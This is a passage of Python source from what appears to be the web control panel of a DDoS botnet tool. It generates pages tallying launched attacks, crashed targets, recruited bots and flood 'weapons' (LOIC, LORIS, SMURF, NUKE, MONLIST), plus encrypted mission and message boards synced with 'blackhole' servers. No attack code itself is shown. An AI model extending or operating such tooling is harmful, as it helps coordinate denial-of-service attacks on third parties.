  389. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  390. <tr>
  391. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  392. <tr>
  393. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  394. <tr>
  395. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  396. </table>
  397. </td><td>
  398. <table border="1" cellpadding="5" cellspacing="10"><tr>
  399. <td><b><u>Botnet:</u></b></td></tr>
  400. <tr>
  401. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  402. <tr>
  403. <td>Scanner (new bots via dorking):</td>
  404. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  405. <tr>
  406. <td>Transferred (new bots via blackholes):</td>
  407. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  408. <tr>
  409. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  410. </table>
  411. <br>
  412. <table border="1" cellpadding="5" cellspacing="10"><tr>
  413. <td><b><u>Weapons (use):</u></b></td></tr>
  414. <tr>
  415. <td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
  416. <td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  417. <tr>
  418. <td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
  419. <td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
  420. <tr>
  421. <td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
  422. <td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
  423. <tr>
  424. <td>NUKE:</td><td align='right'><font color='cyan'>""" + str(self.anuke) + """</font></td>
  425. <td>TACHYON:</td><td align='right'><font color='cyan'>""" + str(self.atachyon) + """</font></td></tr>
  426. </tr>
  427. <tr>
  428. <td>MONLIST:</td><td align='right'><font color='cyan'>""" + str(self.amonlist) + """</font></td>
  429. <td>TOTAL:</td><td align='right'><font color='red'>""" + str(total_extra_attacks) +"""</font></td></tr>
  430. </tr>
  431. </table>
  432. </td></tr></table>
  433. <br><hr>
  434. <div id="cmdOut"></div>
  435. """ + self.pages["/footer"]
  436. def hmac_sha1(self, key, msg):
  437. if len(key) > 20:
  438. key = sha1(key).digest()
  439. key += chr(0).encode('utf-8') * (20 - len(key))
  440. o_key_pad = key.translate(self.trans_5C)
  441. i_key_pad = key.translate(self.trans_36)
  442. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  443. def derive_keys(self, key):
  444. key = key.encode('utf-8')
  445. h = sha256()
  446. h.update(key)
  447. h.update('cipher'.encode('utf-8'))
  448. cipher_key = h.digest()
  449. h = sha256()
  450. h.update(key)
  451. h.update('mac'.encode('utf-8'))
  452. mac_key = h.digest()
  453. return (cipher_key, mac_key)
  454. def decrypt(self, key, text):
  455. KEY_SIZE = 32
  456. BLOCK_SIZE = 16
  457. MAC_SIZE = 20
  458. mode = AES.MODE_CFB
  459. try:
  460. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  461. except:
  462. try:
  463. padding = len(text) % 4
  464. if padding == 1:
  465. return ''
  466. elif padding == 2:
  467. text += b'=='
  468. elif padding == 3:
  469. text += b'='
  470. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  471. except TypeError:
  472. return None
  473. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  474. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  475. mac = iv_ciphertext_mac[-MAC_SIZE:]
  476. (cipher_key, mac_key) = self.derive_keys(key)
  477. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  478. if mac != expected_mac:
  479. return None
  480. aes = AES.new(cipher_key, mode, iv)
  481. self.decryptedtext = aes.decrypt(ciphertext)
  482. try:
  483. self.decryptedtext = self.decryptedtext.decode('utf-8')
  484. except:
  485. pass
  486. def encrypt(self, key, text):
  487. key = base64.b64encode(key)
  488. c = Cipher(key, text)
  489. msg = c.encrypt()
  490. c.set_text(msg)
  491. self.encryptedtext = str(msg)
  492. def html_news(self):
  493. return self.pages["/header"] + """<script language="javascript">
  494. function Decrypt(){
  495. news_key=document.getElementById("news_key").value
  496. if(news_key == "") {
  497. window.alert("You need to enter a valid key (provided by someone)");
  498. return
  499. }else{
  500. params="news_key="+escape(news_key)
  501. runCommandX("cmd_decrypt",params)
  502. document.getElementById("nb1").style.display = "none";
  503. }
  504. }
  505. </script>
  506. <script language="javascript">
  507. function RefreshNews(){
  508. news_source=document.getElementById("news_source").value
  509. if(news_source == "") {
  510. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  511. return
  512. }else{
  513. params="news_source="+escape(news_source)
  514. runCommandX("cmd_refresh_news",params)
  515. document.getElementById("nb1").style.display = "none";
  516. setTimeout("location.reload()", 10000)
  517. }
  518. }
  519. </script>
  520. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  521. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  522. <br>
  523. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  524. <td>Blackhole/IP:</td>
  525. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  526. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  527. <hr>
  528. <table cellpadding="5" cellspacing="5"><tr>
  529. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to CryptoNews!...');"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>
  530. <table cellpading="5" cellspacing="10"><tr><td>
  531. <form method='GET'>
  532. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  533. </td></tr><tr><td>
  534. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  535. </form>
  536. </td></tr></table></td></tr></table>
  537. <hr><br>
  538. </center>
  539. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  540. <div id="cmdOut"></div>
  541. <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
  542. """ + self.pages["/footer"]
  543. def html_missions(self):
  544. return self.pages["/header"] + """<script language="javascript">
  545. function Decrypt(){
  546. missions_key=document.getElementById("missions_key").value
  547. if(missions_key == "") {
  548. window.alert("You need to enter a valid key (provided by someone)");
  549. return
  550. }else{
  551. params="missions_key="+escape(missions_key)
  552. runCommandX("cmd_decrypt",params)
  553. document.getElementById("nb1").style.display = "none";
  554. }
  555. }
  556. </script>
  557. <script language="javascript">
  558. function RefreshMissions(){
  559. missions_source=document.getElementById("missions_source").value
  560. if(missions_source == "") {
  561. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  562. return
  563. }else{
  564. params="missions_source="+escape(missions_source)
  565. runCommandX("cmd_refresh_missions",params)
  566. document.getElementById("nb1").style.display = "none";
  567. setTimeout("location.reload()", 10000)
  568. }
  569. }
  570. </script>
  571. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  572. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  573. <br>
  574. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  575. <td>Blackhole/IP:</td>
  576. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  577. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  578. <hr>
  579. <table cellpadding="5" cellspacing="5"><tr>
  580. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to CryptoMissions!...');"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>
  581. <table cellpading="5" cellspacing="10"><tr><td>
  582. <form method='GET'>
  583. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  584. </td></tr><tr><td>
  585. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  586. </form>
  587. </td></tr></table></td></tr></table>
  588. <hr><br>
  589. </center>
  590. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  591. <div id="cmdOut"></div>
  592. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
  593. """ + self.pages["/footer"]
  594. def html_board(self):
  595. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
  596. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  597. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  598. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  599. device_state = "OFF"
  600. device = "Board device: <font color='red'>OFF</font><br>"
  601. else:
  602. device_state = "ON"
  603. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  604. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  605. data = json.load(boardcfg_json_file)
  606. boardcfg_json_file.close()
  607. profile_token = data["profile_token"]
  608. profile_icon = data["profile_icon"]
  609. profile_nick = data["profile_nick"]
  610. self.profile_nick.encode('utf-8')
  611. operator_img = open("core/images/crew/"+profile_icon+".txt").read()
  612. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='data:image/png;base64,"+operator_img+"'></td></tr><tr><td> -NICKNAME: "+str(self.profile_nick)+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  613. if device_state == "OFF":
  614. board_filter = ""
  615. else:
  616. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  617. if device_state == "OFF":
  618. sync_panel = ""
  619. else:
  620. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  621. if device_state == "OFF":
  622. board_panel = ""
  623. else:
  624. with open(self.board_file) as f:
  625. for line in f:
  626. line = line.strip()
  627. self.board_warning += "\n" + " " + line + " " + "\n"
  628. f.close()
  629. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  630. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  631. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
  632. if device_state == "OFF":
  633. remove_profile = ""
  634. else:
  635. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  636. return self.pages["/header"] + """<script language="javascript">
  637. function BoardProfile() {
  638. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  639. }
  640. function RemoveProfile() {
  641. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  642. }
  643. function Decrypt_board(){
  644. board_key=document.getElementById("board_key").value
  645. if (document.getElementById('filter_all').checked) {
  646. filter = document.getElementById('filter_all').value;
  647. }
  648. if (document.getElementById('filter_general').checked) {
  649. filter = document.getElementById('filter_general').value;
  650. }
  651. if (document.getElementById('filter_opsec').checked) {
  652. filter = document.getElementById('filter_opsec').value;
  653. }
  654. if (document.getElementById('filter_faq').checked) {
  655. filter = document.getElementById('filter_faq').value;
  656. }
  657. if (document.getElementById('filter_bugs').checked) {
  658. filter = document.getElementById('filter_bugs').value;
  659. }
  660. if (document.getElementById('filter_media').checked) {
  661. filter = document.getElementById('filter_media').value;
  662. }
  663. if(board_key == "") {
  664. window.alert("You need to enter a valid key (provided by someone)");
  665. return
  666. }else{
  667. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  668. runCommandX("cmd_decrypt_moderator_board",params)
  669. document.getElementById("nb1").style.display = "none";
  670. }
  671. }
  672. function OptionsCheck() {
  673. if (document.getElementById('read').checked) {
  674. document.getElementById('board_read').style.display = 'block';
  675. document.getElementById('board_send').style.display = 'none';
  676. document.getElementById('board_warning').style.display = 'none';
  677. }
  678. else if(document.getElementById('write').checked) {
  679. document.getElementById('board_send').style.display = 'block';
  680. document.getElementById('board_warning').style.display = 'block';
  681. document.getElementById('board_read').style.display = 'none';
  682. }
  683. }
  684. function Sync_panel(){
  685. document.getElementById("sync_panel_block").style.display = "block";
  686. }
  687. function SyncBoard(){
  688. document.getElementById('nb1').style.display = 'none';
  689. board_source=document.getElementById("board_source").value
  690. if(board_source == "") {
  691. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  692. return
  693. }else{
  694. params="board_source="+escape(board_source)
  695. runCommandX("cmd_sync_board",params)
  696. setTimeout("location.reload()", 10000)
  697. }
  698. }
  699. </script>
  700. <script language="javascript">
  701. function SendMessage() {
  702. board_source=document.getElementById("board_source_send").value
  703. board_key=document.getElementById("board_key").value
  704. stream_txt=document.getElementById("stream_txt").value
  705. board_selector=document.getElementById("board_selector");
  706. board_topic = board_selector.options[board_selector.selectedIndex].value;
  707. if(board_key == "") {
  708. board_key='"""+str(self.crypto_key)+"""';
  709. }else{
  710. if(stream_txt == "") {
  711. window.alert("You need to enter a message! (~ 1-140 characters)");
  712. return
  713. }else{
  714. if(board_source == "") {
  715. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  716. return
  717. }else{
  718. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  719. runCommandX("cmd_send_message_board",params)
  720. setTimeout("location.reload()", 10000)
  721. }
  722. }
  723. }
  724. }
  725. </script>
  726. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  727. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  728. <br>
  729. <center>
  730. <table cellpadding="5" cellspacing="5"><tr>
  731. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Board. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src='data:image/png;base64,"""+self.board_img+"""'></a></td><td>
  732. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  733. </td></tr></table></tr></table>
  734. <hr><br>"""+board_panel+"""
  735. """ + self.pages["/footer"]
  736. def generate_grid(self):
  737. with open(self.grid_file) as f:
  738. for line in f:
  739. line = line.strip()
  740. f.close()
  741. mothership_members = 0 # mothership_members stats bonus
  742. unknown_members = 0 # unknown (or non decrypted) mothership members
  743. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANK:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>NUKE:</u></td><td align='center'><u>TACHYON:</u></td><td align='center'><u>MONLIST:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  744. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID
  745. if grid_msg_sep in m:
  746. version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
  747. m = m.split(grid_msg_sep)
  748. mothership_members = mothership_members + 1
  749. grid_nickname = m[0][0:12]
  750. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  751. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  752. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  753. grid_totalchargo = m[2][0:4] # total chargo
  754. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  755. grid_dorking = m[3][0:4] # dorking
  756. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  757. grid_transferred = m[4][0:4] # transferred
  758. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  759. grid_maxchargo = m[5][0:4] # maxchargo
  760. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  761. grid_missions = m[6][0:4] # missions
  762. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
  763. grid_attacks = m[7][0:4] # attacks
  764. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  765. grid_loic = m[8][0:4] # loic
  766. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  767. if version > 17: # v1.4
  768. grid_loris = m[9][0:4] # loris
  769. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  770. grid_ufosyn = m[10][0:4] # ufosyn
  771. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  772. grid_spray = m[11][0:4] # spray
  773. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  774. grid_smurf = m[12][0:4] # smurf
  775. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  776. grid_xmas = m[13][0:4] # xmas
  777. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  778. grid_nuke = m[14][0:4] # nuke
  779. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  780. grid_tachyon = m[15][0:4] # tachyon
  781. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  782. grid_monlist = m[16][0:4] # monlist
  783. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  784. try:
  785. grid_contact = "<a href=javascript:alert('"+str(m[17][0:12])+"');>View</a>" # js contact view (obfuscation)
  786. except:
  787. grid_contact= "invalid"
  788. try:
  789. grid_id = m[18] # id (plain id)
  790. except:
  791. grid_id = "invalid!"
  792. if version == 17: # v1.3
  793. grid_loris = m[9][0:4] # loris
  794. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  795. grid_ufosyn = m[10][0:4] # ufosyn
  796. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  797. grid_spray = m[11][0:4] # spray
  798. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  799. grid_smurf = m[12][0:4] # smurf
  800. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  801. grid_xmas = m[13][0:4] # xmas
  802. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  803. grid_nuke = m[14][0:4] # nuke
  804. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  805. grid_tachyon = m[15][0:4] # tachyon
  806. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  807. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  808. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  809. try:
  810. grid_contact = "<a href=javascript:alert('"+str(m[16][0:12])+"');>View</a>" # js contact view (obfuscation)
  811. except:
  812. grid_contact= "invalid"
  813. try:
  814. grid_id = m[17] # id (plain id)
  815. except:
  816. grid_id = "invalid!"
  817. elif version == 16: # v1.2.1
  818. grid_loris = m[9][0:4] # loris
  819. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  820. grid_ufosyn = m[10][0:4] # ufosyn
  821. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  822. grid_spray = m[11][0:4] # spray
  823. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  824. grid_smurf = m[12][0:4] # smurf
  825. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  826. grid_xmas = m[13][0:4] # xmas
  827. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  828. grid_nuke = m[14][0:4] # nuke
  829. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  830. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  831. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  832. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  833. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  834. try:
  835. grid_contact = "<a href=javascript:alert('"+str(m[15][0:12])+"');>View</a>" # js contact view (obfuscation)
  836. except:
  837. grid_contact= "invalid"
  838. try:
  839. grid_id = m[16] # id (plain id)
  840. except:
  841. grid_id = "invalid!"
  842. elif version == 15: # v1.2
  843. grid_loris = m[9][0:4] # loris
  844. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  845. grid_ufosyn = m[10][0:4] # ufosyn
  846. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  847. grid_spray = m[11][0:4] # spray
  848. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  849. grid_smurf = m[12][0:4] # smurf
  850. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  851. grid_xmas = m[13][0:4] # xmas
  852. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  853. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  854. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  855. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  856. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  857. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  858. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  859. try:
  860. grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
  861. except:
  862. grid_contact= "invalid"
  863. try:
  864. grid_id = m[15] # id (plain id)
  865. except:
  866. grid_id = "invalid!"
  867. elif version == 12: # v1.1
  868. grid_loris = m[9][0:4] # loris
  869. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  870. grid_ufosyn = m[10][0:4] # ufosyn
  871. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  872. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  873. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  874. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  875. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  876. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  877. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  878. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  879. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  880. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  881. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  882. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  883. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  884. grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
  885. try:
  886. grid_id = m[12] # id (plain id)
  887. except:
  888. grid_id = "invalid!"
  889. elif version == 11: # v1.0
  890. grid_loris = m[9][0:4] # loris
